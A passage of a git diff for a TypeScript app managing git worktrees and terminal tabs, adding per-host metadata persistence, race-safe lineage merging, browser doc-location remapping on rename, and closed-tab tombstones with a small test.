@@ -84,20 +88,27 @@ export function createUpdateWorktreesMeta(
       ...folderWorkspaceUpdates.map(({ folderWorkspaceId, updates }) =>
         get().updateFolderWorkspace(folderWorkspaceId, updates)
       ),
-      ...Array.from(gitWorktreeUpdates, async ([worktreeId, updates]) => {
+      ...gitWorktreeUpdates.map(async ({ worktreeId, updates, executionHostId }) => {
         try {
           const state = get()
-          const ownerHostIds = getKnownOwnerHostIds(state, worktreeId)
+          const ownerHostIds = executionHostId
+            ? [executionHostId]
+            : getKnownOwnerHostIds(state, worktreeId)
           await (ownerHostIds.length === 0
             ? persistWorktreeMeta(settingsForWorktreeOwner(state, worktreeId), worktreeId, updates)
             : Promise.all(
-                ownerHostIds.map((hostId) =>
-                  persistWorktreeMeta(
+                ownerHostIds.map((hostId) => {
+                  const worktree = getIndexedWorktreesById(state.worktreesByRepo, worktreeId).find(
+                    (candidate) => candidate.hostId === hostId
+                  )
+                  return persistWorktreeMeta(
                     settingsForWorktreeOwner(state, worktreeId, hostId),
                     worktreeId,
-                    updates
+                    updates,
+                    hostId,
+                    worktree?.identity?.key
                   )
-                )
+                })
               ))
         } catch (err) {
           if (isRuntimeSelectorNotFoundError(err)) {
diff --git a/src/renderer/src/store/slices/worktrees/metadata/worktree-lineage-actions.ts b/src/renderer/src/store/slices/worktrees/metadata/worktree-lineage-actions.ts
index c8820f9df4c..f560f35f159 100644
--- a/src/renderer/src/store/slices/worktrees/metadata/worktree-lineage-actions.ts
+++ b/src/renderer/src/store/slices/worktrees/metadata/worktree-lineage-actions.ts
@@ -12,10 +12,11 @@ import { settingsForWorktreeOwner } from '../listing/worktree-owner-settings'
 // Why: this runs inside a catch, so letting the refresh reject would replace the failure it recovers from.
 async function refreshWorktreeLineageBestEffort(
   ownerSettings: AppState['settings'],
-  set: WorktreeSliceSet
+  set: WorktreeSliceSet,
+  get: WorktreeSliceGet
 ): Promise<void> {
   try {
-    await refreshWorktreeLineageForSettings(ownerSettings, set)
+    await refreshWorktreeLineageForSettings(ownerSettings, set, get)
   } catch (err) {
     console.error('Failed to refresh worktree lineage after a failed write:', err)
   }
@@ -41,7 +42,7 @@ export function createFetchWorktreeLineage(
       const settings = ownerSettings
         ? { ...ownerSettings, activeRuntimeEnvironmentId }
         : ({ activeRuntimeEnvironmentId } as AppState['settings'])
-      await refreshWorktreeLineageForSettings(settings, set, {
+      await refreshWorktreeLineageForSettings(settings, set, get, {
         reuseRecentCompatibilityFailure: true
       })
     } catch (err) {
@@ -66,7 +67,7 @@ export function createUpdateWorktreeLineage(
       )
     } catch (err) {
       console.error('Failed to update worktree lineage:', err)
-      await refreshWorktreeLineageBestEffort(ownerSettings, set)
+      await refreshWorktreeLineageBestEffort(ownerSettings, set, get)
       throw err
     }
   }
@@ -87,7 +88,7 @@ export function createAssignWorktreeParent(
     } catch (err) {
       console.error('Failed to assign worktree parent:', err)
       // Unlike the update path this rethrows, so the recovery refresh must not mask the original cause.
-      await refreshWorktreeLineageBestEffort(ownerSettings, set)
+      await refreshWorktreeLineageBestEffort(ownerSettings, set, get)
       throw err
     }
   }
diff --git a/src/renderer/src/store/slices/worktrees/metadata/worktree-lineage-host-merge.ts b/src/renderer/src/store/slices/worktrees/metadata/worktree-lineage-host-merge.ts
index 26470ea043d..f0c396bcecd 100644
--- a/src/renderer/src/store/slices/worktrees/metadata/worktree-lineage-host-merge.ts
+++ b/src/renderer/src/store/slices/worktrees/metadata/worktree-lineage-host-merge.ts
@@ -37,16 +37,24 @@ export function mergeLineageForHost(
     'repos' | 'settings' | 'worktreesByRepo' | 'detectedWorktreesByRepo' | 'worktreeLineageById'
   >,
   hostId: ExecutionHostId,
-  lineage: Readonly<Record<string, WorktreeLineage>>
+  lineage: Readonly<Record<string, WorktreeLineage>>,
+  lineageAtRequestStart?: Readonly<Record<string, WorktreeLineage>>
 ): Readonly<Record<string, WorktreeLineage>> {
+  // Why per-row and not just per-key: any local write that landed after this request started
+  // outranks the reply — a create, a parent reassignment, or a delete the reply would restore.
+  const writtenSinceRequestStart = (worktreeId: string): boolean =>
+    lineageAtRequestStart !== undefined &&
+    lineageAtRequestStart[worktreeId] !== state.worktreeLineageById[worktreeId]
   const next: Record<string, WorktreeLineage> = {}
   for (const [worktreeId, existing] of Object.entries(state.worktreeLineageById)) {
-    if (getWorktreeHostId(state, worktreeId) !== hostId) {
+    if (getWorktreeHostId(state, worktreeId) !== hostId || writtenSinceRequestStart(worktreeId)) {
       next[worktreeId] = existing
     }
   }
   for (const [worktreeId, incoming] of Object.entries(lineage)) {
-    next[worktreeId] = incoming
+    if (!writtenSinceRequestStart(worktreeId)) {
+      next[worktreeId] = incoming
+    }
   }
   return reuseEqualRecordMap(state.worktreeLineageById, next)
 }
@@ -61,20 +69,30 @@ export function mergeWorkspaceLineageForHost(
     | 'workspaceLineageByChildKey'
   >,
   hostId: ExecutionHostId,
-  lineage: Readonly<Record<string, WorkspaceLineage>>
+  lineage: Readonly<Record<string, WorkspaceLineage>>,
+  lineageAtRequestStart?: Readonly<Record<string, WorkspaceLineage>>
 ): Readonly<Record<string, WorkspaceLineage>> {
+  const writtenSinceRequestStart = (childKey: string): boolean =>
+    lineageAtRequestStart !== undefined &&
+    lineageAtRequestStart[childKey] !== state.workspaceLineageByChildKey[childKey]
   const next: Record<string, WorkspaceLineage> = {}
   for (const [childKey, existing] of Object.entries(state.workspaceLineageByChildKey)) {
     const childScope = parseWorkspaceKey(existing.childWorkspaceKey)
     const childHostId =
       childScope?.type === 'worktree' ? getWorktreeHostId(state, childScope.worktreeId) : null
     // A focused host refresh can no longer prove unknown-host child rows are current.
-    if (childScope?.type !== 'worktree' || (childHostId !== null && childHostId !== hostId)) {
+    if (
+      childScope?.type !== 'worktree' ||
+      (childHostId !== null && childHostId !== hostId) ||
+      writtenSinceRequestStart(childKey)
+    ) {
       next[childKey] = existing
     }
   }
   for (const [childKey, incoming] of Object.entries(lineage)) {
-    next[childKey] = incoming
+    if (!writtenSinceRequestStart(childKey)) {
+      next[childKey] = incoming
+    }
   }
   return reuseEqualRecordMap(state.workspaceLineageByChildKey, next)
 }
diff --git a/src/renderer/src/store/slices/worktrees/metadata/worktree-lineage-refresh.ts b/src/renderer/src/store/slices/worktrees/metadata/worktree-lineage-refresh.ts
index 26b68647f70..ae584253173 100644
--- a/src/renderer/src/store/slices/worktrees/metadata/worktree-lineage-refresh.ts
+++ b/src/renderer/src/store/slices/worktrees/metadata/worktree-lineage-refresh.ts
@@ -22,6 +22,21 @@ import type {
   WorktreeWithLineage
 } from '../listing/worktree-slice-types'
 
+/** Per-row baseline the reply is merged against, so any local write since then outranks it. */
+type LineageAtRequestStart = {
+  worktreeLineageById: Readonly<Record<string, WorktreeLineage>>
+  workspaceLineageByChildKey: Readonly<Record<string, WorkspaceLineage>>
+}
+
+function captureLineageAtRequestStart(
+  state: Pick<AppState, 'worktreeLineageById' | 'workspaceLineageByChildKey'>
+): LineageAtRequestStart {
+  return {
+    worktreeLineageById: state.worktreeLineageById,
+    workspaceLineageByChildKey: state.workspaceLineageByChildKey
+  }
+}
+
 export async function listWorktreeLineageForRuntime(
   settings: AppState['settings'],
   options: BackgroundRuntimeRefreshOptions = {}
@@ -206,14 +221,21 @@ export function applyHostLineageRefresh(
   lineage: {
     worktreeLineageById: Readonly<Record<string, WorktreeLineage>>
     workspaceLineageByChildKey: Readonly<Record<string, WorkspaceLineage>>
-  }
+  },
+  lineageAtRequestStart?: LineageAtRequestStart
 ): void {
   set((s) => {
-    const worktreeLineageById = mergeLineageForHost(s, hostId, lineage.worktreeLineageById)
+    const worktreeLineageById = mergeLineageForHost(
+      s,
+      hostId,
+      lineage.worktreeLineageById,
+      lineageAtRequestStart?.worktreeLineageById
+    )
     const workspaceLineageByChildKey = mergeWorkspaceLineageForHost(
       s,
       hostId,
-      lineage.workspaceLineageByChildKey
+      lineage.workspaceLineageByChildKey,
+      lineageAtRequestStart?.workspaceLineageByChildKey
     )
     if (
       worktreeLineageById === s.worktreeLineageById &&
@@ -228,24 +250,38 @@ export function applyHostLineageRefresh(
 export async function refreshWorktreeLineageForSettings(
   settings: AppState['settings'],
   set: Parameters<StateCreator<AppState>>[0],
+  getState: () => Pick<AppState, 'worktreeLineageById' | 'workspaceLineageByChildKey'>,
   options: BackgroundRuntimeRefreshOptions = {}
 ): Promise<void> {
+  const lineageAtRequestStart = captureLineageAtRequestStart(getState())
   const lineage = await listWorktreeLineageForRuntime(settings, options)
-  applyHostLineageRefresh(set, getSettingsFocusedExecutionHostId(settings), lineage)
+  applyHostLineageRefresh(
+    set,
+    getSettingsFocusedExecutionHostId(settings),
+    lineage,
+    lineageAtRequestStart
+  )
 }
 
 export async function refreshRemoteWorktreeLineageBestEffort(
   settings: AppState['settings'],
-  set: (partial: Partial<AppState> | ((state: AppState) => Partial<AppState>)) => void
+  set: (partial: Partial<AppState> | ((state: AppState) => Partial<AppState>)) => void,
+  getState: () => Pick<AppState, 'worktreeLineageById' | 'workspaceLineageByChildKey'>
 ): Promise<void> {
   if (getActiveRuntimeTarget(settings).kind === 'local') {
     return
   }
   try {
+    const lineageAtRequestStart = captureLineageAtRequestStart(getState())
     const lineage = await listWorktreeLineageForRuntime(settings, {
       reuseRecentCompatibilityFailure: true
     })
-    applyHostLineageRefresh(set, getSettingsFocusedExecutionHostId(settings), lineage)
+    applyHostLineageRefresh(
+      set,
+      getSettingsFocusedExecutionHostId(settings),
+      lineage,
+      lineageAtRequestStart
+    )
   } catch (err) {
     // Why: lineage is supplemental, so a remote timeout here must not discard a successful worktree refresh.
     console.error('Failed to fetch worktree lineage:', err)
diff --git a/src/renderer/src/store/slices/worktrees/metadata/worktree-meta-persist.ts b/src/renderer/src/store/slices/worktrees/metadata/worktree-meta-persist.ts
index 7ebdbcc2ccd..99e4ac18ce1 100644
--- a/src/renderer/src/store/slices/worktrees/metadata/worktree-meta-persist.ts
+++ b/src/renderer/src/store/slices/worktrees/metadata/worktree-meta-persist.ts
@@ -11,16 +11,22 @@ import { toRuntimeWorktreeSelector } from '../../../../runtime/runtime-worktree-
 import { translate } from '@/i18n/i18n'
 import type { AppState } from '../../../types'
 import type { WorktreeMeta } from '../../../../../../shared/worktree/meta-types'
+import type { ExecutionHostId } from '../../../../../../shared/execution-host'
 import { encodePushTargetClearForRuntimeRpc } from './hosted-review-link-mutation'
-
 export async function persistWorktreeMeta(
   settings: AppState['settings'],
   worktreeId: string,
-  updates: Partial<WorktreeMeta>
+  updates: Partial<WorktreeMeta>,
+  executionHostId?: ExecutionHostId,
+  identityKey?: string
 ): Promise<void> {
   const target = getActiveRuntimeTarget(settings)
   if (target.kind === 'local') {
-    await window.api.worktrees.updateMeta({ worktreeId, updates })
+    await window.api.worktrees.updateMeta({
+      worktreeId,
+      ...(executionHostId ? { executionHostId } : {}),
+      updates
+    })
     return
   }
   // Why: `worktree.set` parses in strip mode, so an older runtime drops the key
@@ -55,7 +61,7 @@ export async function persistWorktreeMeta(
     target,
     'worktree.set',
     {
-      worktree: toRuntimeWorktreeSelector(worktreeId),
+      worktree: identityKey ? `identity:${identityKey}` : toRuntimeWorktreeSelector(worktreeId),
       ...encodePushTargetClearForRuntimeRpc(updates)
     },
     { timeoutMs: 15_000 }
diff --git a/src/renderer/src/store/slices/worktrees/session/worktree-identity-rename-state.ts b/src/renderer/src/store/slices/worktrees/session/worktree-identity-rename-state.ts
index 1a841fbdfc9..dee9ebb7f84 100644
--- a/src/renderer/src/store/slices/worktrees/session/worktree-identity-rename-state.ts
+++ b/src/renderer/src/store/slices/worktrees/session/worktree-identity-rename-state.ts
@@ -1,4 +1,9 @@
 import type { AppState } from '../../../types'
+import type {
+  BrowserPage,
+  BrowserWorkspace
+} from '../../../../../../shared/browser-workspace-types'
+import { remapBrowserPageDocLocation } from '../../../../../../shared/browser-page-doc-location'
 import { splitWorktreeIdForFilesystem } from '../../../../../../shared/worktree/id'
 import { worktreeWorkspaceKey } from '../../../../../../shared/workspace-scope'
 import { getWorktreeIdFromVisitKey } from '@/lib/worktree-visit-recency'
@@ -76,17 +81,34 @@ export function buildWorktreeRenameState(
   }
   const withNewWorktreeId = <T extends { worktreeId: string }>(value: T): T =>
     value.worktreeId === oldWorktreeId ? { ...value, worktreeId: newWorktreeId } : value
+  const oldWorktreePath = splitWorktreeIdForFilesystem(oldWorktreeId)?.worktreePath
+  const newWorktreePath = splitWorktreeIdForFilesystem(newWorktreeId)?.worktreePath
+  const withNewBrowserWorktreeId = <T extends BrowserPage | BrowserWorkspace>(value: T): T => {
+    const renamedValue = withNewWorktreeId(value)
+    return value.docLocation?.worktreeId === oldWorktreeId
+      ? {
+          ...renamedValue,
+          docLocation: remapBrowserPageDocLocation(
+            value.docLocation,
+            oldWorktreeId,
+            newWorktreeId,
+            oldWorktreePath,
+            newWorktreePath
+          )
+        }
+      : renamedValue
+  }
   const renameValueByKey: Partial<Record<(typeof WORKTREE_ID_KEYED_MAP_KEYS)[number], unknown>> = {
     tabsByWorktree: (tabs: { worktreeId: string }[]) => tabs.map(withNewWorktreeId),
-    browserTabsByWorktree: (workspaces: { worktreeId: string }[]) =>
-      workspaces.map(withNewWorktreeId),
+    browserTabsByWorktree: (workspaces: BrowserWorkspace[]) =>
+      workspaces.map(withNewBrowserWorktreeId),
     recentlyClosedBrowserTabsByWorktree: (
-      snapshots: { workspace: { worktreeId: string }; pages: { worktreeId: string }[] }[]
+      snapshots: { workspace: BrowserWorkspace; pages: BrowserPage[] }[]
     ) =>
       snapshots.map((snapshot) => ({
         ...snapshot,
-        workspace: withNewWorktreeId(snapshot.workspace),
-        pages: snapshot.pages.map(withNewWorktreeId)
+        workspace: withNewBrowserWorktreeId(snapshot.workspace),
+        pages: snapshot.pages.map(withNewBrowserWorktreeId)
       })),
     fileSearchStateByWorktree: (searchState: AppState['fileSearchStateByWorktree'][string]) => ({
       ...searchState,
@@ -121,8 +143,6 @@ export function buildWorktreeRenameState(
     files.map(withNewWorktreeId)
   )
   // Why: terminal reopen snapshots hold absolute startupCwd paths under the old folder; remap or Cmd+Shift+T respawns into a directory that no longer exists after the rename.
-  const oldWorktreePath = splitWorktreeIdForFilesystem(oldWorktreeId)?.worktreePath
-  const newWorktreePath = splitWorktreeIdForFilesystem(newWorktreeId)?.worktreePath
   renameKey('recentlyClosedTerminalTabsByWorktree', (snapshots: ClosedTerminalTabSnapshot[]) =>
     oldWorktreePath && newWorktreePath
       ? remapClosedTerminalTabSnapshotCwds(snapshots, oldWorktreePath, newWorktreePath)
@@ -137,23 +157,29 @@ export function buildWorktreeRenameState(
     : s.openFiles
   const currentBrowserPagesByWorkspace = s.browserPagesByWorkspace ?? {}
   const browserPagesByWorkspace = Object.values(currentBrowserPagesByWorkspace).some((pages) =>
-    pages.some((page) => page.worktreeId === oldWorktreeId)
+    pages.some(
+      (page) => page.worktreeId === oldWorktreeId || page.docLocation?.worktreeId === oldWorktreeId
+    )
   )
     ? Object.fromEntries(
         Object.entries(currentBrowserPagesByWorkspace).map(([workspaceId, pages]) => [
           workspaceId,
-          pages.map(withNewWorktreeId)
+          pages.map(withNewBrowserWorktreeId)
         ])
       )
     : s.browserPagesByWorkspace
   const currentRecentlyClosedBrowserPagesByWorkspace = s.recentlyClosedBrowserPagesByWorkspace ?? {}
   const recentlyClosedBrowserPagesByWorkspace = Object.values(
     currentRecentlyClosedBrowserPagesByWorkspace
-  ).some((pages) => pages.some((page) => page.worktreeId === oldWorktreeId))
+  ).some((pages) =>
+    pages.some(
+      (page) => page.worktreeId === oldWorktreeId || page.docLocation?.worktreeId === oldWorktreeId
+    )
+  )
     ? Object.fromEntries(
         Object.entries(currentRecentlyClosedBrowserPagesByWorkspace).map(([workspaceId, pages]) => [
           workspaceId,
-          pages.map(withNewWorktreeId)
+          pages.map(withNewBrowserWorktreeId)
         ])
       )
     : s.recentlyClosedBrowserPagesByWorkspace
diff --git a/src/renderer/src/store/slices/worktrees/session/worktree-pin-reveal.ts b/src/renderer/src/store/slices/worktrees/session/worktree-pin-reveal.ts
index e8975c76587..7c104f06ca2 100644
--- a/src/renderer/src/store/slices/worktrees/session/worktree-pin-reveal.ts
+++ b/src/renderer/src/store/slices/worktrees/session/worktree-pin-reveal.ts
@@ -1,4 +1,4 @@
-import type { WorktreeSlice } from '../../worktree-helpers'
+import type { WorktreeMetaBatchUpdate, WorktreeSlice } from '../../worktree-helpers'
 import type { WorktreeSliceGet, WorktreeSliceSet } from '../listing/worktree-slice-types'
 import {
   getActiveSidebarWorkspaceId,
@@ -9,11 +9,9 @@ import {
   isValidResolvedWorktreeLineageEdge
 } from '../../../../../../shared/resolved-worktree-lineage'
 import type { WorktreeLineage } from '../../../../../../shared/worktree/lineage-types'
-import type { WorktreeMeta } from '../../../../../../shared/worktree/meta-types'
 import type { Worktree } from '../../../../../../shared/worktree/types'
 
 type WorktreeWithEmbeddedLineage = Worktree & { lineage?: WorktreeLineage | null }
-
 function getProjectedLineage(get: WorktreeSliceGet, worktree: Worktree): WorktreeLineage | null {
   if (Object.hasOwn(get().worktreeLineageById, worktree.id)) {
     return get().worktreeLineageById[worktree.id] ?? null
@@ -66,7 +64,7 @@ export function createSetWorktreesPinnedAndReveal(
       get().activeWorktreeId
     )
     // Skip worktrees already in the target state so a no-op toggle doesn't scroll the viewport away.
-    const updates = new Map<string, Partial<WorktreeMeta>>()
+    const updates: WorktreeMetaBatchUpdate[] = []
     const changedWorktreeIds = new Set<string>()
     let didChange = false
     let revealWorktreeId: string | null = null
@@ -79,9 +77,17 @@ export function createSetWorktreesPinnedAndReveal(
       changedWorktreeIds.add(worktreeId)
       const workspaceScope = parseWorkspaceKey(worktreeId)
       if (workspaceScope?.type === 'folder') {
-        void get().updateWorktreeMeta(worktreeId, { isPinned })
+        void get().updateWorktreeMeta(
+          worktreeId,
+          { isPinned },
+          { executionHostId: current.hostId ?? 'local' }
+        )
       } else {
-        updates.set(worktreeId, { isPinned })
+        updates.push({
+          worktreeId,
+          updates: { isPinned },
+          executionHostId: current.hostId ?? 'local'
+        })
       }
       if (revealWorktreeId === null && worktreeId === activeSidebarWorktreeId) {
         revealWorktreeId = worktreeId
@@ -99,7 +105,7 @@ export function createSetWorktreesPinnedAndReveal(
       revealWorktreeId = activeSidebarWorktreeId
     }
     // updateWorktreesMeta applies the store update synchronously, so the reveal below sees the row already rendered.
-    if (updates.size > 0) {
+    if (updates.length > 0) {
       void get().updateWorktreesMeta(updates)
     }
     if (revealWorktreeId !== null) {
diff --git a/src/renderer/src/store/slices/worktrees/session/worktree-unread-activity.ts b/src/renderer/src/store/slices/worktrees/session/worktree-unread-activity.ts
index fa05be0e2b9..fb7e9d4b500 100644
--- a/src/renderer/src/store/slices/worktrees/session/worktree-unread-activity.ts
+++ b/src/renderer/src/store/slices/worktrees/session/worktree-unread-activity.ts
@@ -3,7 +3,7 @@ import type { WorktreeSliceGet, WorktreeSliceSet } from '../listing/worktree-sli
 import { parseWorkspaceKey } from '../../../../../../shared/workspace-scope'
 import { applyWorktreeUpdates, getRepoIdFromWorktreeId } from '../../worktree-helpers'
 import { branchName } from '@/lib/git-utils'
-import { refreshHostedReviewCard } from '../../hosted-review'
+import { refreshHostedReviewCard } from '../../hosted-review-card-refresh'
 import {
   applyDetectedWorktreeUpdates,
   findKnownWorktreeById
diff --git a/src/renderer/src/store/terminals/terminal-state.ts b/src/renderer/src/store/terminals/terminal-state.ts
index 5f754cc6463..4d5cbea8256 100644
--- a/src/renderer/src/store/terminals/terminal-state.ts
+++ b/src/renderer/src/store/terminals/terminal-state.ts
@@ -1,3 +1,4 @@
+import type { ClosedTerminalTabTombstonesByTabId } from '../../../../shared/closed-terminal-tab-tombstones'
 import type { TerminalLayoutSnapshot, TerminalTab } from '../../../../shared/terminal-tab-types'
 import type { TuiAgent } from '../../../../shared/tui-agent'
 import type { SetupSplitDirection } from '../../../../shared/worktree/launch-types'
@@ -90,6 +91,7 @@ export type TerminalState = {
   workspaceSessionReady: boolean
   restoredRuntimeHostIdByWorkspaceSessionKey: Record<string, ExecutionHostId>
   defaultTerminalTabsAppliedByWorktreeId: Record<string, true>
+  closedTerminalTabTombstonesByTabId: ClosedTerminalTabTombstonesByTabId
   hydrationSucceeded: boolean
   pendingReconnectWorktreeIds: string[]
   pendingReconnectTabByWorktree: Record<string, string[]>
diff --git a/src/renderer/src/store/terminals/terminal-tab-close-tombstone.test.ts b/src/renderer/src/store/terminals/terminal-tab-close-tombstone.test.ts
new file mode 100644
index 00000000000..8a7d5039c8a
--- /dev/null
+++ b/src/renderer/src/store/terminals/terminal-tab-close-tombstone.test.ts
@@ -0,0 +1,80 @@
+import { describe, it, expect, vi, beforeEach } from 'vitest'
+import type * as AgentStatusModule from '@/lib/agent-status'
+import { createTestStore, makeTab, makeWorktree, seedStore } from '../slices/store-test-helpers'
+import { createStoreCascadesMockApi } from '../slices/store-cascades-test-harness'
+
+vi.mock('sonner', () => ({
+  toast: { info: vi.fn(), success: vi.fn(), error: vi.fn(), warning: vi.fn() }
+}))
+
+vi.mock('@/components/terminal-pane/pty-dispatcher', () => ({
+  restorePtyDataHandlersAfterFailedShutdown: vi.fn(),
+  unregisterPtyDataHandlers: vi.fn<() => unknown[]>(() => [])
+}))
+
+vi.mock('@/lib/agent-status', async (importOriginal) => ({
+  ...(await importOriginal<typeof AgentStatusModule>()),
+  detectAgentStatusFromTitle: vi.fn().mockReturnValue(null)
+}))
+
+const mockApi = createStoreCascadesMockApi()
+
+const REMOTE_WORKTREE = 'remote-repo::/srv/app'
+const LOCAL_WORKTREE = 'local-repo::/tmp/app'
+
+function storeWithBothWorktrees(): ReturnType<typeof createTestStore> {
+  const store = createTestStore()
+  seedStore(store, {
+    repos: [
+      { id: 'remote-repo', path: '/srv/app', name: 'app', connectionId: 'ssh-1' },
+      { id: 'local-repo', path: '/tmp/app', name: 'app' }
+    ] as never,
+    worktreesByRepo: {
+      'remote-repo': [
+        makeWorktree({ id: REMOTE_WORKTREE, repoId: 'remote-repo', path: '/srv/app' })
+      ],
+      'local-repo': [makeWorktree({ id: LOCAL_WORKTREE, repoId: 'local-repo', path: '/tmp/app' })]
+    },
+    tabsByWorktree: {
+      [REMOTE_WORKTREE]: [makeTab({ id: 'remote-tab', worktreeId: REMOTE_WORKTREE })],
+      [LOCAL_WORKTREE]: [makeTab({ id: 'local-tab', worktreeId: LOCAL_WORKTREE })]
+    }
+  })
+  return store
+}
+
+describe('closeTab close tombstones', () => {
+  beforeEach(() => {
+    vi.clearAllMocks()
+    mockApi.worktrees.updateMeta.mockResolvedValue({})
+  })
+
+  it('records the closed tab against the worktree it was closed in', () => {
+    const store = storeWithBothWorktrees()
+
+    store.getState().closeTab('remote-tab')
+
+    expect(store.getState().closedTerminalTabTombstonesByTabId['remote-tab']).toEqual({
+      closedAt: expect.any(Number),
+      worktreeId: REMOTE_WORKTREE
+    })
+  })
+
+  // A tombstone outlives the host's own record, so the only claim it may ever make is "the user
+  // closed this". Neither of these closes is that claim.
+  it.each([['pty-exit'], ['cleanup']] as const)('records nothing for a %s close', (reason) => {
+    const store = storeWithBothWorktrees()
+
+    store.getState().closeTab('remote-tab', { reason })
+
+    expect(store.getState().closedTerminalTabTombstonesByTabId['remote-tab']).toBeUndefined()
+  })
+
+  it('records nothing for a definitively local worktree, which no pull merge ever reads', () => {
+    const store = storeWithBothWorktrees()
+
+    store.getState().closeTab('local-tab')
+
+    expect(store.getState().closedTerminalTabTombstonesByTabId).toEqual({})
+  })
+})
diff --git a/src/renderer/src/store/terminals/terminal-tab-close.ts b/src/renderer/src/store/terminals/terminal-tab-close.ts
index cea5f0bc474..cda4303ebd0 100644
--- a/src/renderer/src/store/terminals/terminal-tab-close.ts
+++ b/src/renderer/src/store/terminals/terminal-tab-close.ts
@@ -1,4 +1,6 @@
+import { recordClosedTerminalTabTombstone } from '../../../../shared/closed-terminal-tab-tombstones'
 import type { TerminalTab } from '../../../../shared/terminal-tab-types'
+import { getConnectionIdFromState } from '@/lib/connection-owner-resolution'
 import { sweepRetiredTerminalTabState } from '../slices/retired-terminal-tab-state-sweep'
 import {
   getRecentlyClosedTabPosition,
@@ -58,6 +60,23 @@ export function createTerminalTabCloseActions(
             next[wId] = after
           }
         }
+        // Why `user` and not retiresSession: a tombstone outlives the host's own record, so the only
+        // thing it may ever say is "the user closed this". A pty-exit close is the process ending,
+        // and a `cleanup` close retires a tab the app itself created — neither is that claim.
+        // Why a non-local worktree only: the tombstone is read solely by the direct-SSH pull merge,
+        // and a definitively local tab would just consume the map's cap. An unresolved repo
+        // (undefined, not null) still records — losing the tombstone reinstates the resurrection.
+        const nextClosedTombstones =
+          closeReason === 'user' &&
+          closedWorktreeId &&
+          getConnectionIdFromState(s, closedWorktreeId) !== null
+            ? recordClosedTerminalTabTombstone(
+                s.closedTerminalTabTombstonesByTabId,
+                tabId,
+                closedWorktreeId,
+                Date.now()
+              )
+            : s.closedTerminalTabTombstonesByTabId
         // Why: only explicit user closes feed the Cmd+Shift+T reopen stack; cleanup/PTY-exit closes must not pollute undo history.
         const closedPosition =
           closedWorktreeId && closedTab
@@ -207,6 +226,9 @@ export function createTerminalTabCloseActions(
           ...(nextSleepingAgentSessionsByPaneKey !== s.sleepingAgentSessionsByPaneKey
             ? { sleepingAgentSessionsByPaneKey: nextSleepingAgentSessionsByPaneKey }
             : {}),
+          ...(nextClosedTombstones !== s.closedTerminalTabTombstonesByTabId
+            ? { closedTerminalTabTombstonesByTabId: nextClosedTombstones }
+            : {}),
           // Why: skip writing unreadTerminalTabs when unchanged to avoid a no-op state allocation that re-evaluates full-state selectors. Mirrors tabs.ts.
           ...(nextUnreadTerminalTabs !== s.unreadTerminalTabs
             ? { unreadTerminalTabs: nextUnreadTerminalTabs }
diff --git a/src/renderer/src/store/terminals/workspace-terminal-hydration-patch.ts b/src/renderer/src/store/terminals/workspace-terminal-hydration-patch.ts
index 46fb906a9b9..6da518e019b 100644
--- a/src/renderer/src/store/terminals/workspace-terminal-hydration-patch.ts
+++ b/src/renderer/src/store/terminals/workspace-terminal-hydration-patch.ts
@@ -19,6 +19,7 @@ export type WorkspaceHydrationPatch = Pick<
   | 'worktreesByRepo'
   | 'lastVisitedAtByWorktreeId'
   | 'defaultTerminalTabsAppliedByWorktreeId'
+  | 'closedTerminalTabTombstonesByTabId'
   | 'automaticAgentResumeClaimsByTabId'
   | 'sleepingAgentSessionsByPaneKey'
   | 'pendingReconnectWorktreeIds'
@@ -176,6 +177,9 @@ export function targetScopedWorkspaceHydrationPatch(
       hydrated.defaultTerminalTabsAppliedByWorktreeId,
       workspaceKeys
     ),
+    // Why passed through whole: hydration already unioned it with live store state, and the map is
+    // keyed by tab id rather than by workspace key so replaceHydratedRecordKeys has nothing to match.
+    closedTerminalTabTombstonesByTabId: hydrated.closedTerminalTabTombstonesByTabId,
     automaticAgentResumeClaimsByTabId: replaceHydratedRecordKeys(
       state.automaticAgentResumeClaimsByTabId,
       hydrated.automaticAgentResumeClaimsByTabId,
diff --git a/src/renderer/src/store/terminals/workspace-terminal-hydration.ts b/src/renderer/src/store/terminals/workspace-terminal-hydration.ts
index 6d6169a22f4..efa70c8b480 100644
--- a/src/renderer/src/store/terminals/workspace-terminal-hydration.ts
+++ b/src/renderer/src/store/terminals/workspace-terminal-hydration.ts
@@ -178,6 +178,11 @@ export function createWorkspaceTerminalHydrationActions(
           lastVisitedAtByWorktreeId: session.lastVisitedAtByWorktreeId ?? {},
           defaultTerminalTabsAppliedByWorktreeId:
             session.defaultTerminalTabsAppliedByWorktreeId ?? {},
+          // Why replace and not union: both callers hand over a map they derived from this store
+          // synchronously (the pull merge) or from disk before the store had one (startup), so there
+          // is no local tombstone to lose — and a union would resurrect the ones the merge just
+          // retired on the host's acknowledgement, which is the whole bound on this map.
+          closedTerminalTabTombstonesByTabId: session.closedTerminalTabTombstonesByTabId ?? {},
           automaticAgentResumeClaimsByTabId: {},
           sleepingAgentSessionsByPaneKey,
           pendingReconnectWorktreeIds,
diff --git a/src/renderer/src/web/preload-api/web-runtime-calls.ts b/src/renderer/src/web/preload-api/web-runtime-calls.ts
index 4470b0be37a..16bc514074a 100644
--- a/src/renderer/src/web/preload-api/web-runtime-calls.ts
+++ b/src/renderer/src/web/preload-api/web-runtime-calls.ts
@@ -78,7 +78,9 @@ export async function callRuntimeResult<TResult>(
 ): Promise<TResult> {
   const response = await callRuntimeEnvelope(method, params, timeoutMs)
   if (!response.ok) {
-    throw new Error(response.error.message)
+    // Why keep the code: callers classify recoverable host failures by token, and the message alone
+    // (e.g. "Parent selector was not found.") carries none.
+    throw Object.assign(new Error(response.error.message), { code: response.error.code })
   }
   return response.result as TResult
 }
diff --git a/src/renderer/src/web/preload-api/web-worktrees-api.ts b/src/renderer/src/web/preload-api/web-worktrees-api.ts
index 5d3b9bd1bd9..43e496d3bd0 100644
--- a/src/renderer/src/web/preload-api/web-worktrees-api.ts
+++ b/src/renderer/src/web/preload-api/web-worktrees-api.ts
@@ -86,6 +86,8 @@ export function createWorktreesApi(): NonNullable<Partial<PreloadApi>['worktrees
             }
           : {}),
         parentWorkspace: args.parentWorkspace,
+        // Why: every create through this API is an in-app action, never the CLI's parent flag.
+        ...(args.parentWorkspace ? { parentWorkspaceOrigin: 'manual' } : {}),
         workspaceStatus: args.workspaceStatus,
         manualOrder: args.manualOrder,
         automationProvenanceRequest: args.automationProvenanceRequest
diff --git a/src/renderer/src/web/web-preload-api-runtime-calls.test.ts b/src/renderer/src/web/web-preload-api-runtime-calls.test.ts
index 6960ba5b83f..fcf24437595 100644
--- a/src/renderer/src/web/web-preload-api-runtime-calls.test.ts
+++ b/src/renderer/src/web/web-preload-api-runtime-calls.test.ts
